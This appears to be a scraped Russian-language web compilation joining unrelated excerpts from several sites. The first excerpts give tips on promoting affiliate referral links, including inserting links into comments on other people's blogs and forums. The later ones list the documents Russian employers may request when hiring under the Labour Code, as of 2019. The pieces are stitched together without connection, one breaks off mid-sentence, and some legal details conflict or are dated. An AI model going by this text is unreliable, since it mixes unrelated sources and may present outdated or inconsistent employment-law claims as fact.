  1. Реферер – человек, участвующий в партнёрской программе и размещающий ссылки, перенаправляющие на сайт или конкретный продукт компании-партнёра.
  2. Реферальная ссылка – ссылка на рекламируемый продукт или ресурс, содержащая индивидуальный номер реферера, переход по которой нового человека и выполнение им определённых действий (регистрация или покупка) принесёт рефереру доход.
  3. Реферал – тот самый новый человек, который «гуляя» по сети заинтересуется предложением реферера и перейдёт по его ссылке.
  4. Трафик – это общее количество рефералов, которое совершит заданные действия.

Варианты бесплатного размещения

А теперь переходим к самому интересному. Не стоит думать, что продвигать чьи-то продукты легко. Нет, придётся потрудиться и немало, чтобы данная деятельность начала приносить стабильный доход. В интернете «пасутся» целые армии пользователей, посещающие миллионы сайтов, поэтому онлайн-реклама является наиболее эффективной, но бесплатно разместить свою реферальную ссылку можно далеко не везде, где именно – сейчас поведаю:

  1. Собственный ресурс (сайт или блог). Это самый идеальный вариант, но только в том случае, если он является популярным и имеет высокую посещаемость. Есть ещё один нюанс – тематика ресурса должна сочетаться с размещаемыми ссылками, так как только в этом случае его будет просматривать целевая аудитория и есть шанс, что кто-то перейдёт по ссылке.
  2. Социальные сети. Можно создать и раскрутить группу, вывесить рефссылку на стене личного аккаунта, комментировать тематические записи и посты, включая в текст ссылку, отправить рекомендации друзьям (чем их больше, тем лучше) и так далее.
  3. Форумы. Самый эффективный метод, работающий на форумах с темой, соответствующей направленности рекламируемого продукта – это закрепить ссылку в имени собственного профиля и активно участвовать в проходящих беседах. В этом случае важна репутация и доверие оппонентов, чтобы им захотелось перейти по ссылке, поэтому важно писать только то, в чём действительно разбираешься.
  4. Чужие блоги. Необходимо отыскать блоги с похожей тематикой и комментировать их, внедряя свою рефссылку.
  5. Доски объявлений. Их направленность также должна соответствовать рекламируемому продукту.
  6. Рекламные статьи. Есть в интернете специальные сайты, предназначенные именно для размещения рекламных статей, описывающих товар, где также разместить можно бесплатно свою партнёрскую ссылку.
  7. Канал на YouTube. Придётся обозревать услугу или продукт, придумывать интересное и цепляющее видео по теме, а под ним размещать свою волшебную ссылочку. При должном подходе, старании и везении зарабатывать будет не только партнёрка, но и сам канал.

Общие рекомендации

Друзья, если вы действительно хотите зарабатывать на партнёрских программах, то обратите внимание на следующие моменты:

  1. Посмотрите на свою ссылочку. У неё, помимо названия сайта и/или продукта, есть реферальный хвостик – набор символов, идентифицирующий именно вас. Некоторые особо умные пользователи могут обрезать этот хвостик и напрямую перейти на сайт. Чтобы этого не произошло, рефссылку следует укоротить и зашифровать, в чём поможет сервис goo.gl.
  2. Всегда читайте правила и условия программ партнёров. Бывают такие экземпляры, которые не принимают рефералов с социальных сетей или отдельных ресурсов.
  3. Размещайте свои ссылки с умом, то есть не переусердствуйте, чтобы не попасть в бан, но и слишком не скромничайте, чтобы получить больше шансов. Например, по 3 размещения на статью из 2-3 тысяч знаков будет вполне достаточно.
  4. Пробуйте разные варианты, экспериментируйте, ищите наиболее эффективные и работающие способы.
  5. Старайтесь писать сопроводительный текст так, как будто вы что-то очень-очень стоящее советуете своему другу.

Итак, на сегодня всё. Добавлю только, что продвигать партнёрку бесплатными методами довольно сложно. Есть множество эффективных платных способов, но о них в следующий раз. До свидания.

blogfreo.ru

Способы рекламы партнерских ссылок

В прошлый раз мы рассмотрели виды партнерских программ и критерии их выбора. Теперь нам нужно определиться с тем, каким образом можно рекламировать свои партнерские ссылки.

Некоторые читатели могут удивиться тому, что для рекламы партнерских ссылок не требуется иметь собственный сайт. Скажу больше – многие профессионалы, зарабатывающие на партнерках большие деньги, вообще не имеют собственных сайтов! Каким же способом можно рекламировать партнерки? И можно ли это делать бесплатно?

Способ 1. Социальные сети. Это, пожалуй, самый простой и дешевый способ рекламы партнерской ссылки. Сейчас практически у любого человека имеется собственная страничка в соцсети. Именно с этой страницы и можно начинать рекламу товара, а точнее партнерской ссылки на страницу покупки данного товара. Наверняка у вас есть не одна сотня друзей и подписчиков, которые могут стать первыми покупателями. Еще можно создать под товар тематическое сообщество. Чтобы привлечь новых участников, рекомендуется публиковать в своем паблике интересный материал. Число подписчиков и продажи будут расти. При наличии свободных средств, их можно вложить в рекламу и сразу получить первые продажи. Для этой цели рекомендуется использовать такие инструменты, как «реклама в сообществах» и «таргетинг».

Способ 2. Гостевые комментарии. Этот способ подразумевается размещение тематического материала, содержащего партнерскую ссылку, в чужом блоге или сообществе. Публикуемый материал должен максимально соответствовать теме паблика и выглядеть максимально естественно. Многие блоггеры без проблем «пропускают» подобный материал, потому что он привлекает дополнительный трафик.

Способ 3. Комментарии на форумах. Разумеется, оставлять спам на страницах форумов не следует. Это приведет к быстрой блокировке вашего аккаунта. Чтобы эффективно использовать это источник, требуется быть аккуратным и внимательно изучить раздел, в которым вы собираетесь разместить рекламный материал. Будет хорошо, если вас на этом форуме знают и в вашем активе есть несколько сотен постов. Чем больше рейтинг вашего профиля, тем больше доверия к вашим комментариям.

Способ 4. Контекстная реклама. Прежде чем использовать данный способ, нужно внимательно прочитать правила системы. Дело в том, что некоторые системы контекстной рекламы могут потребовать от вас предъявить сертификат на товар или попросят доказать ваше авторское право. Также правила не всегда разрешают рекламировать прямую партнерскую ссылку. Но это не страшно, потому что можно создать одностраничный сайт, который будет содержать ссылку и подробное описание товара. Если вы правильно настроите рекламное объявление, то за кожного посетителя вы будете платить не более 10 центов.

Еще по теме:

Нет комментариев — ваш будет первым.

rub21.ru

Как рекламировать партнерскую ссылку для максимального заработка

После того как вы зарегистрировались в партнерской программе и получили рекламные материалы. Возникает вопрос. Как рекламировать партнерскую ссылку? Ведь для того чтобы люди узнали о вашем предложении и купили продукт, о нем нужно рассказать. А как это сделать правильно? Если вы повесите объявление на столбе в своем городе, то вряд ли кто-то откликнется на это предложение или дадите его в местной газете, может и найдутся желающие, но вероятность того, что они приобретут товар очень низкая.

Раз вы продаете продукты, через интернет, то и покупателей нужно искать в интернете. И рекламировать партнерскую ссылку на сайтах. Люди приходят в интернет за информацией для решения своих проблем. И вы должны им предложить это решение в виде продаваемого информационного продукта. Проще говоря, нужно предлагать информацию по садоводству, тем людям, которые интересуются выращиванием огурцов, помидор и т. д. То есть вы должны размещать свою рекламу на таких интернет площадках , откуда по ней будет идти целевой трафик. Для того, чтобы люди, преходящие по рекламируемой партнерской ссылке, покупали предлагаемые товары они должны быть целевым посетителям.

Что такое целевой трафик и целевые посетители?

  • Трафик — это количество переходов по партнерской ссылке.
  • Целевой трафик — это когда по рекламной ссылке переходят люди заинтересованные в получении именно вашей информации и вашего информационного продукта.
  • Целевой посетитель — это пользователь, у которого есть определенная цель, его интересует конкретный товар или услуги.

Например: Человек хочет научиться вязать, ему это интересно, если к нему прийти и сказать: » Знаешь, я знаю место, где много информации о том, как научиться вязать. Тебе это интересно? » Конечно — ему интересно, это — его цель. Такой человек и будет целевым посетителем.

Или представите ситуацию в саду человек, копается в земле, что-то сажает. А Вы к нему подходите и говорите: «Ты заешь есть классный обучающий курс по вязанию. Вот держи ссылку». А он на Вас посмотрит и скажет: «А нафига мне это надо. Ты дай мне информацию как сажать клубнику и т. д.»

А суть всего вышесказанного такова: Вы хоть тысячу садоводов пригласите на сайт все равно ни кто у вас, ни чего не купит, хотя кликов и переходов будут сотни. А это значит, что рекламировать партнерскую ссылку, нужно там, где люди заинтересуются вашим предложением.

Приведу еще пример: Вы размещаете объявление по продаже продуктов «о рыбалке и охоте» на блоге по кулинарии. Человек пришел получить информацию о кулинарии, рецептах приготовления блюд, обратит он внимание на рекламный блок о рыбалке и сделает переход. Конечно же нет ! Или вы разместите, предложение продукта об инвестициях, на форуме по цветоводству. Люди приходят на форум поговорить о цветах, о способах выращивания, удобрения и т. д. Зачем им инвестиции? И естественно с этого форума переходов(трафика) не будет и соответственно покупателей. Из чего следует, что предлагаемые товары необходимо рекламировать на ресурсах по нужной вам тематике.

Для тех, кто хочет научиться зарабатывать в интернете, независимо от направления деятельности. Эту формулу нужно усвоить обязательно. Потому что именно от количества целевых посетителей зависит количество продаж. Как правильно рекламировать продаваемый товар мы разобрались, но в след за вопросом -Как? Возникает законный — Где?

Где же размещать партнерскую ссылку?

Конечно если у вас есть собственный сайт(блог), то вы регистрируетесь в партнерских программах по тематике вашего сайта, размещаете на нем рекламные материалы и зарабатываете. Но как быть, если у вас его нет? Есть способы рекламы без собственного сайта. Их условно можно разделить на бесплатные и платные. Но самое главное — это творческий подход к продвижению товаров. Экспериментируйте, придумываете новые способы. И успех не заставит себя ждать.

owlweb.ru

Какие нужны документы для работы – Документы при приёме на работу. Список документов 2019 года

Список необходимых документов при приеме на работу

По правилам приема на работу работников соискателю необходимо собрать определенный пакет документов. Некоторые из них являются обязательными и будут требоваться в любой компании. Другие предоставлять в целом не обязательно, но в конкретной организации могут потребовать их предоставить, в зависимости от рода деятельности.

Собираем документы для оформления на работу

Статьей 65 Трудового Кодекса Российской Федерации установлен перечень документов, которые могут запросить при приеме на работу.

1. Паспорт или иной документ для удостоверения личности соискателя.

2. Трудовая книжка. Не требуется предъявлять в следующих случаях:

  • соискатель впервые получает работу. В этом случае трудовая книжка оформляется работодателем;
  • трудовая книжка утеряна или повреждена — претенденту на работу по его заявлению (с указанием причины отсутствия трудовой) оформляется новая;
  • в случае, если работник поступает на работу по совместительству.

После расторжения трудовых отношений осуществляется выдача трудовой книжки работнику.

3. Страховое свидетельство государственного пенсионного страхования (СНИЛС). Если соискатель получает работу впервые, то СНИЛС оформляется работодателем.

4. Военный билет или иной документ воинского учета (например, приписное свидетельство). Обязательно для военнообязанных и лиц, подлежащих призыву на военную службу.

Учитесь и желаете устроиться на работу? Узнайте, как оплачивается учебный отпуск.

Особенности внесения записей в трудовую книжку сотрудника.

5. Документ об образовании (диплом, возможно, потребуется оценочный лист). Требуется для подтверждения квалификации соискателя и наличия у него образования соответствующего должности, на которую он претендует.

Для некоторых профессий, таких как машинист автокрана, стропальщик, машинист экскаватор и т.п., также необходимо наличие удостоверения о прохождения обучения соответствующей профессии, подтверждающее его квалификацию. Такие работники должны ежегодно проходить переаттестацию (чаще всего в той организации-работодателе), о чем в удостоверении ставится соответствующая отметка.

Для водителей (равно как и для машинистов автокранов и экскаваторов) требуется наличие водительского удостоверения на право управления тем видом транспорта, на котором он будет работать.

6. Справка о наличии либо отсутствии судимости. Требуется при поступлении на работу, на которую, в соответствии с законодательством Российской Федерации, не допускаются лица, имеющие судимость или подвергающиеся уголовному преследованию.

7. Медицинская справка по форме 086/у. Некоторые виды деятельности могут быть связаны с повышенной опасностью для здоровья человека (например, прием на работу медицинских сотрудников). В таких случаях и требуется медсправка, в которой указано наличие или отсутствие противопоказаний к осуществлению какой-либо деятельности. Также медицинская справка обязательна для несовершеннолетних, т.к. при наличии каких-либо проблем со здоровьем врач может запретить подростку заниматься определенным видом работы (например, при проблемах со зрением не допускается работа с компьютером). При приеме на работу в условиях Крайнего Севера из других регионов необходимо заключение об отсутствии противопоказаний для работы и жизни в данных условиях

Обязательным для получения работы (даже в случае приема на работу временного работника) является только наличие паспорта, поэтому прием на работу без паспорта не допускается. Все остальные документы требуется предоставлять только при наличии определенных условий.

В списке не значится, но работодателю требуется

Несмотря на то что в законе прямо запрещается требовать с претендента дополнительные документы, не предусмотренные законодательством, алгоритм приема на работу сотрудника вполне может предусматривать наличие следующих документов:

1. Заявление о приеме на работу. Пишется работником в процессе оформления на работу. Подшивается к личному делу сотрудника, которое заводится работодателем.

2. Фотография 3х4 (3 шт.). Фотографии требуются для личного дела работника, оформления пропуска. Также могут потребоваться для подшивания к личной карточке работника по форме Т-2.

3. Свидетельство о постановке на учет в налоговом органе (ИНН).

4. Справка о доходах по форме 2-НДФЛ. Такая справка предоставляется в случае, если кандидат меняет место работы. Для него выгодно ее представить, т.к. в случае расчета по больничному листу будет учитываться заработок на предыдущем месте работы. Следовательно, сумма выплат по больничному может быть повышена в случае, если стаж работника на новом месте минимален.

Как осуществляется прием на работу на испытательный срок?

Способы расчета отпуска в различных ситуациях.

Узнать о деятельности компании по ИНН: http://svoy-business.com/organizatsiya-biznesa/dokumentatsiya/kak-proverit-ip-po-inn.html

5. Характеристика с предыдущего места работы. Для соискателя лучше иметь такую характеристику при себе, т.к. это повышает его шансы получить работу и добиться более выгодных условий.

6. Работодатель может потребовать документы о семейном положении работника (свидетельство о браке, свидетельство о рождении при наличии детей, справка об инвалидности ближних родственников и т.п.). По этим документам работнику могут быть предоставлены дополнительные льготы. Например, многодетному сотруднику отпуск предоставляется в любое время года по его желанию. Также возможно оказание материальной помощи со стороны работодателя.

7. От иногородних работников может требоваться регистрация по месту временного пребывания.

8. Для занятия муниципальной службой законодательство РФ требует предоставление следующих сведений:

  • о расходах работника, его имуществе и имущественных обязательствах. Такие же сведения подаются о супруге работника и его несовершеннолетних детях;
  • о доходах за год, предшествующий поступлению на работу.

Предоставление этих документов не обязательно, однако они могут повысить шансы кандидата занять желаемую должность.

Прием на работу иностранного работника

Для трудоустройства иностранного гражданина необходимо, чтобы у него было разрешение на работу, выдаваемое Федеральной Миграционной Службой по месту пребывания. При этом иностранцу прямо запрещено законом (№ 115-ФЗ «О правовом положении иностранных граждан») работать за пределами субъекта РФ, в котором у него имеется разрешение на временное проживание.

В остальном, перечень документов, предусмотренный регламентом приема на работу сотрудника из другого государства, совпадает с перечнем для граждан Российской Федерации.

Собирать ли все эти документы?

Подведя итоги, можно сделать вывод, что проще всего при устройстве на работу придется гражданину РФ, впервые устраивающемуся на работу. В этом случае прием на работу работника оформляется при наличии только паспорта и/или, в отдельных случаях, документа об образовании, о воинском учете и медицинской справки. Остальные документы (трудовая книжка, СНИЛС) будут оформлены работодателем.

Однако при устройстве на работу лучше собрать максимально полный пакет документов. Это повысит шансы на трудоустройство. Соискатель сможет претендовать на лучшие условия труда (например, на более высокую зарплату).

Если работодатель заинтересован в привлечении и удержании высококвалифицированных работников, то, на основании некоторых документов, может предоставить сотруднику определенные льготы или выплачивать ему компенсации.

Похожие статьи

Помогла статья? Подписывайтесь в наши сообщества: ВКонтакте, Фейсбуке, Twitter, Одноклассниках или Google Plus.

Будем очень благодарны, если поставите «Лайк» ниже. Спасибо!

Получайте обновления прямо на вашу почту:

svoy-business.com

Какой список документов нужен для официального трудоустройства на работу

Для того, чтобы Вам начислялся трудовой стаж, необходимо официально трудоустроиться на работу, и если Вы уже ее нашли, то нужно будет подготовить для этого пакет необходимых документов. Конечно-же перед приемом Вас на работу нужно будет пройти собеседование, чтобы доказать что Вы подходите на заявленную вакансию.

Документы для собеседования

При первом знакомстве с работодателем он захочет познакомиться с будущим сотрудником, узнать о его опыте работы, жизненной позиции, о том, какими дополнительными знаниями, навыками и умениями обладает претендент, а потому следует подготовить:

  • автобиографию
  • копию трудовой книжки
  • документы об образовании
  • портфолио, если оно предусмотрено для заявленной вакансии.

Итак, собеседование Вы уже прошли.

Подготовка документов для трудоустройства

Чтобы трудоустроиться официально, нужно предоставить работодателю:

  • паспорт
  • трудовую книжку (если это не первое место работы)
  • документ об образовании
  • документ воинского учета для военнообязанных и тех, кто по возрасту подлежит призыву на воинскую службу.
  • ИИН
  • пенсионное страховое свидетельство
  • медицинская книжка (если требуется).

Итак, рассмотрим каждый документ по отдельности.

Паспорт является удостоверением Вашей личности, только по нему можно идентифицировать соискателя, а значит, с паспортом нельзя трудоустроиться по чужим документам. Если у Вас по каким-то причинам нет паспорта на момент трудоустройства, то можно предъявить справку из паспортного стола о том, что Вы сдали его для замены или же временно предъявить загранпаспорт, иногда допускается и военный билет или водительские права.

Трудовая книжка выдается непосредственно в организации или на предприятии, если это Ваше первое место работы, но если уже есть трудовой стаж, то Вы должны ее предъявить. В отделе кадров сделают соответствующую запись о приеме Вас на работу, после чего трудовая книжка будет храниться в отделе кадров вплоть до момента увольнения. Согласно статье 66 Трудового кодекса Российской Федерации, каждый сотрудник, который проработал по основному месту работы не меньше 5 дней, должен иметь трудовую книжку. Если же Вы оформляетесь на работу по совместительству, то достаточно копии трудовой книжки.

Документ об образовании. Для специальностей, требующих определенной квалификации это должен быть диплом или свидетельство о профессиональной подготовке или переподготовке. Если же работа не предусматривает специального образования, то достаточно и свидетельства об общем образовании.

Документ воинского учета. Все мужчины в возрасте от 16 до 27 лет считаются призывниками, а потому должны предоставить или приписное свидетельство, или военный билет. Если у женщины есть военный билет, она тоже должна его предоставить. Мужчины, уже отслужившие срочную службу и находящиеся в запасе, в возрасте до 50 лет, предоставляют военный билет или временное удостоверение.

ИНН. Если Вы не являетесь индивидуальным предпринимателем, то такой документ Вам не понадобится, налоги за Вас будет платить работодатель.
Пенсионное страховое свидетельство. Его Вам должен оформить работодатель по первому месту работы, а при переходе в другую организацию или при регистрации на бирже труда его нужно обязательно предъявлять.

Медицинская книжка не является обязательным документом для всех организаций, ее оформляют работникам общепита, торговли, медицины и образования. При необходимости оформления медицинской книжки нужно обратиться в центр государственного санэпиднадзора. Без медицинской книжки с допуском к работе в учреждениях вышеперечисленных отраслей работник не может трудоустроиться.

Стоит остановиться еще на таком моменте, как регистрация по месту пребывания.
Трудовой кодекс гласит, что работодатель не имеет права отказывать гражданину в трудоустройстве, если у него нет регистрации и он является гражданином России, но лиц без регистрации работодатели берут на работу неохотно.

Список документов для трудоустройства несовершеннолетних

На практике в наше время редко встречаются случаи, когда подростки до 16 лет устраиваются на работу, но все-же такая возможность существует и о ней стоит тоже упомянуть.

Если на работу устраивается подросток, то к вышеуказанному списку документов необходимо дополнительно приложить:

  • согласие хотя бы одного родителя или лица его заменяющего
  • согласие из местного органа опеки и попечительства
  • лица, которым исполнилось 15 лет, предъявляют аттестат об общем образовании, справку о продолжении учебы в заочной, вечерней или дистанционной форме, или же справку об отчислении
  • документ, в котором обозначен план занятий или их расписание, который потребуется для составления рабочего расписания не в ущерб образованию
  • медицинская справка о прохождении осмотра и его положительном результате.

Пакет документов для трудоустройства в России граждан СНГ

В первую очередь у Вас должно быть разрешение на работу, выданное Федеральной миграционной службой России. Для получения разрешения на работу потребуется:

  • документ, подтверждающий личность
  • миграционная карта
  • чек об уплате госпошлины.

Имея на руках все эти документы, можно уже подавать заявление в ФМС о разрешении на работу.

Подавать документы с заявлением в ФМС может либо сам соискатель, либо то предприятие, которое нанимает человека на работу. Также документы может подать ваш представитель, согласно законодательству России. Гражданин СНГ должен получить разрешение на работу в России за 10 рабочих дней со дня прибытия.

Дополнительные документы

Иногда при заключении трудового договора у соискателя могут потребовать и другие дополнительные документы, учитывая специфику работы, при этом работодатель должен руководствоваться постановлениями Правительства РФ или указами Президента России.
Список необходимых документов для заключения трудового договора прописан в статье 65 Трудового кодекса. Требовать от Вас какие-либо другие документы, не входящие в этот список, работодатель не вправе.

Все интересующие вопросы можно задать в комментариях к статье

whatdocs.ru

Какие документы нужны для устройства на работу: полный список

Собираясь устроиться на новое место работы, соискателю должности потребуется подготовить определенный перечень документов. Причем часть из них нужны всегда, независимо от предприятия. Некоторые, наоборот, актуальны только в определенной организации. Однако лучше знать заранее, какие документы нужны соискателю для устройства на работу.

Требуемые бумаги

Пакет документов, который может потребоваться при трудоустройстве, регламентируется ст. 65 ТК РФ. В него входят:

  • Документ, удостоверяющий личность (например, паспорт).
  • Трудовая книжка.
  • СНИЛС. При первичном трудоустройстве оформление страхового свидетельства новоиспеченного сотрудника берет на себя работодатель.
  • Военный билет (можно использовать приписное свидетельство). Его обязаны предоставить все лица, которых могут призвать для прохождения службы.
  • Диплом или иное свидетельство об образовании (может пригодиться вложение с указанием оценок). Используется в качестве доказательства наличия у соискателя требуемого образования и нужной для должности квалификации. Помимо диплома, может потребоваться специальное удостоверение (например, для профессии машиниста экскаватора) или водительские права с необходимой категорией (если устраиваться водителем).
  • Бумага, подтверждающая или опровергающая наличие судимости. Некоторые предприятия по закону не могут принять на работу кандидата, имеющего проблемы с законом.
  • Медицинская справка (форма 086/у). В данном документе должны быть четко прописаны противопоказания к выполнению тех или иных видов работ (если таковые имеются у соискателя). По аналогичным причинам данная справка обязательна, если кандидату еще не исполнилось 18-ти лет.
  • Санитарная книжка потребуется при трудоустройстве в сферу пищевой промышленности, реализации продуктов питания и прочей подобной деятельности. Получить книжку можно в отделении Санэпиднадзора по месту нахождения кандидата на должность.

Важно: единственный документ, необходимый при приеме на работу – паспорт. Прочие данные предоставляются в зависимости от требований работодателя.

Трудовая книжка не всегда обязательна при приеме на работу. Ее отсутствие допустимо в следующих ситуациях:

  • Соискатель должности впервые трудоустраивается. Документ будет открывать работодатель.
  • В случае утери или порчи. При приеме на работу следует уведомить об этом нанимателя, чтобы последний открыл новую трудовую.
  • При трудоустройстве по совместительству.

После прекращения рабочих взаимоотношений трудовая книжка возвращается владельцу.

Дополнительные сведения

Согласно законодательству, указанный список – это максимально возможный пакет документов, который вправе требовать наниматель. Однако иногда он просит предоставить дополнительные данные.

К таковым можно отнести:

  • Заявление о зачислении в штат компании. Следует заполнить бланк непосредственно в процессе оформления в качестве сотрудника. Бумага будет подшита в личное дело.
  • Фото размером ¾ в количестве 3 шт. Используются для вклейки в личное дело, пропуск, личную карточку (форма Т-2).
  • ИНН (налоговое свидетельство).
  • Когда соискатель меняет место трудоустройства, наниматель может попросить его предоставить справку по форме 2-НДФЛ. Если потребуется оплатить больничный, во внимание берется доход на предыдущем месте работы. Для нового работника это только на пользу, особенно когда стаж на текущей работе минимальный.
  • Характеристика, полученная от прошлого работодателя. Позволяет рассчитывать на лучшую должность и более выгодные условия.
  • Для получения каких-либо льгот может потребоваться справка о заключении брака, о составе семьи. Если у кого-то из близких имеется инвалидность, об этом стоит упомянуть и предоставить копию соответствующего заключения.
  • Иногородним кандидатам стоит подготовить справку о наличии временной регистрации.

Согласно закону, эти данные необязательны. Однако их наличие существенно увеличивает вероятность одобрения кандидатуры.

Когда соискатель пытается устроиться на государственную или муниципальную службу, от него потребуется следующая информация:

  • Сведения об уровне дохода за предшествующий текущему год.
  • Данные о расходах, наличии имущества и обязательств по нему. Если у соискателя есть семья и несовершеннолетние дети, по ним так же следует подать указанные сведения.

Данный перечень является вполне правомерным, если судить по законодательству нашей страны.

Трудоустройство иностранных граждан

Приезжему из другой страны соискателю, в первую очередь, требуется патент или разрешение на работу. Этот документ можно получить в ФМС (Федеральная Миграционная Служба) по месту пребывания. При этом при переезде из одного субъекта РФ в другой разрешение на работу придется получать заново. В противном случае действия иностранного гражданина незаконны и наказуемы, согласно ФЗ № 115 «О правовом положении иностранных граждан».

В остальном сведения, подаваемые иностранцем, аналогичны перечню документов для граждан нашей страны.

Принятие на работу несовершеннолетнего

Гражданин, которому не исполнилось 18 лет, так же может быть трудоустроен. Для этого потребуется соблюсти ряд требований:

  1. Для оформления на работу кандидату младше 16-ти лет необходимо предоставить письменное разрешение родителей (опекунов и иных, заменяющих родителей лиц). Согласие следует приобщить к остальному пакету бумаг.
  2. Обязательным мероприятием является прохождение медицинского осмотра. Процедуру оплачивает работодатель, а результаты прикладываются ко всем остальным документам.

Невыполнение какого-либо из перечисленных пунктов свидетельствует о неправомерном трудоустройстве подростка. Работодателя ввиду незаконных деяний могут привлечь к ответственности. Обязательной для него станет выплата денежной компенсации несовершеннолетнему. Это актуально в том случае, если здоровью последнего был нанесен вред в результате исполнения им рабочих обязанностей.

Обратившись в организацию соискателю следует уточнить, какие документы нужны при приеме на работу. Наличие всех необходимых сведений сократит длительность процедуры и повысит шансы на получение желаемой должности.

trud.guru

➤ Документы необходимые при приеме на работу трудовой кодекс

Расскажем, что учесть при трудоустройстве: какие документы нужны всем работникам, а какие — только в особых случаях. Два перечня, обязательный и дополнительный, запретный список для кадровика и основные образцы вы найдете в статье.

Скачайте все документы, которые нужно запросить при приеме на работу:

Какие документы сотрудник обязан предоставить кадровику

Перед оформлением трудового договора соискатель знакомится с нормативными актами компании и представляет документы, необходимые для трудоустройства. На их основании кадровик оформляет личную карточку, ставит нового сотрудника на воинский учет, заполняет трудовой договор и приказ о приеме на работу. Все оригиналы документов, за исключением трудовой книжки, сразу же после завершения необходимых кадровых процедур возвращаются владельцу. Заполненную трудовую книжку хранят в отделе кадров вплоть до увольнения работника, и выдают ему на руки в день окончательного расчета. 

Иногда состояние переданного в отдел кадров документа вызывает обоснованные опасения. Порванные или неаккуратно вклеенные страницы, выгоревшие или залитые напитками записи могут стать проблемой для кадровика, ведь речь идет о важной документации, на основании которой считается стаж, начисляются выплаты, предоставляются льготы. 

Читайте в журнале «Кадровое дело»

Запрещается требовать не предусмотренные законом документы для трудоустройства: ТК РФ не позволяет выходить за рамки перечня, состоящего всего из пяти пунктов, и расширяет его лишь в отдельных случаях. Например, чтобы работать во вредных или опасных условиях, следует пройти предварительный медосмотр и получить заключение, подтверждающее отсутствие противопоказаний (ст. 213 ТК РФ). А педагоги и авиационный персонал предъявляют справку об отсутствии судимости (ст. 331 ТК РФ, ст. 52 Воздушного кодекса РФ). Кадровик должен знать, какие документы нужны для трудоустройства в каждом конкретном случае, не выходить за рамки своих полномочий и соблюдать право работника на неприкосновенность частной жизни. 

Обязательный перечень документов при приеме на работу

Все обязательные документы при приеме на работу перечислены в статье 65 ТК РФ. С ними следует ознакомиться, проверив срок действия и подлинность. Убедитесь, что на бланке есть водяные знаки, серийный номер, печати и другие защитные элементы. Закон не запрещает работодателям уточнять подлинность дипломов, паспортов, лицензий и других документов через сайты и порталы государственных услуг, а также отправлять письменные запросы в МВД, Рособрнадзор и прочие инстанции. 

Список обязательных документов при приеме на работу (ТК РФ)

  1. Трудовая книжка

Основной документ работника, который подтверждает стаж и содержит сведения о ключевых этапах карьеры — должностях, занимаемых на предыдущих местах работы, переводах и поощрениях, причинах и обстоятельствах увольнений. Запись о

www.kdelo.ru

Полный список документов для приема на работу по ТК РФ в 2019 году с образцами

Обращаем ваше внимание, что список для приема на работу изменился. Закон приняла Госдума.

При устройстве человека на работу кадровик и бухгалтер должны принять у него и проверить ряд документов. Порядок приема на работу по шагам по ТК РФ и полный список документов при трудоустройстве в 2019 году мы привели в статье.

Регламент приема на работу по ТК РФ в 2019 году по шагам

Шаг 1. Получите от будущего сотрудника все бумаги, необходимые для кадрового учета на предприятии.

Сразу предупредим: с представленных документов безопаснее не снимать копии и не хранить их. Такие действия контролеры могут квалифицировать как нарушение работы с персональными данными. Во избежание рисков советуем отдельно изучить эту тему, если в личном деле сотрудника вы храните «левые» бумаги.

Не вызовет вопроса наличие в деле экземпляра трудового договора, распоряжения о приеме на работу. То же самое можно сказать про все другие распоряжения, касающиеся непосредственно сотрудника. Как бланк строгой отчетности хранится трудовая книжка.

Шаг 2. Ознакомьте человека со всеми внутренними документами фирмы, касающимися персонала.

Шаг 3. Подпишите договор с сотрудником.

Шаг 4. Подготовьте приказ или распоряжение о приеме на работу.

Шаг 5. Внесите запись в трудовую книжку.

Шаг 6. Заведите личную карточку на нанятого сотрудника.

Далее мы во всех деталях рассмотрим каждый шаг. Где нужно — приведем наглядные примеры.

Какой именно пакет документов запросить у будущего работника: полный список

При приеме на работу человек должен показать, прежде всего, свой паспорт. Если соискателю меньше 14-ти, то удостоверяющей бумагой будет свидетельство о рождении. А у гражданина, постоянно проживающего за границей, попросите загран.

Далее от уже опытных специалистов потребуйте трудовую книжку. Исключение — если речь идет о совместителе. Новичкам, для которых позиция в вашей компании — первое место их работы, вы должны сами выдать книжку. Об этом мы еще поговорим далее.

Прием на работу в трудовй оформляется так. В левой графе поставьте номер записи и дату. В графе «сведения о приеме на работу…» напишите Полное наименовании и сокращенное организации или ИП.

— Общество с ограниченной ответственностью «Альфа» (ООО «Альфа»)

— Индивидуальный предприниматель А.А. Петров (ИП А.А. Петров)

Далее напишите, в какой отдел принята (если отдела нет, то формулировка — принят на должность…) и должность. Поставьте в крайней правой колонке дату и номер приказа.

Из персональных документов также понадобится СНИЛС — чтобы отчитываться в Пенсионный. 

Если указанное страховое свидетельство человек никогда не получал, теперь он ее должен получить сам по форме АДИ-РЕГ.

Госдума отменила карточку СНИЛС. Закон вскоре вступит в силу. После чего бухгалтеру не придется требовать саму карточку. Однако номер СНИЛС работник должен будет указать.

Обратите внимание, что старые СНИЛС не утрачивают своего действия. Они будут использоваться в работе в общем порядке.

Получить уведомление нового образца можно несколькими способами:

  1. Лично в территориальном отделении ПФР. Не забудьте взять с собой паспорт гражданина РФ.
  2. Лично в МФЦ. Обратиться в Многофункциональный центр придется в том случае, если в населенном пункте, по месту жительства отсутствует ТО ПФР.
  3. Через личный кабинет на официальном сайте ПФ РФ. Для получения сведений требуется регистрация в системе.
  4. Через учетную запись на портале «Госуслуги». Доступ к единому порталу можно получить в МФЦ.

Сведения формируются автоматически, на основании данных, зафиксированных в единой системе обязательного пенсионного страхования.

Вот так выглядит новая форма

С военнообязанных потребуйте военный билет или временное удостоверение. С призывников — приписное свидетельство. Сошлитесь на пункт 18 Положения, утвержденного постановлением Правительства от 27.11.2006 № 719.

Если закон предъявляет к соискателю спецтребования, нужен документ об образовании, квалификации или наличии особых знаний. Так, фармацевту полагается иметь на руках сертификат специалиста. Аналогично — по справке о наличии или отсутствии судимости либо уголовного преследования. Данная бумага обязательна, когда к работе в силу прямого указания закона нельзя подпускать «сомнительный» контингент. Например, это условие есть в отношении педагогов в статье 331 ТК.

Мы перечислили обязательный минимум документов из статьи 65 ТК, которые соискатель должен представить при приеме на работу в 2019 году.

Другие бумаги вы вправе потребовать, если это прямо предусмотрено законом. Так, например, временно пребывающие иностранцы помимо разрешения на работу или патента предъявляют полис ДМС. Таковы требования части 1 статьи 327.3 ТК.

Как ввести человека в дела компании

Познакомьте будущего работника с локальными нормативными актами, действующими по организации. Имеются в виду колдоговоры, различные положения. Например, об оплате труда. Не забудьте про Правила внутреннего трудового распорядка. Сокращенно — ПВТР. И другие инструкции. Ознакомьте обязательно под подпись (ст. 68 ТК).

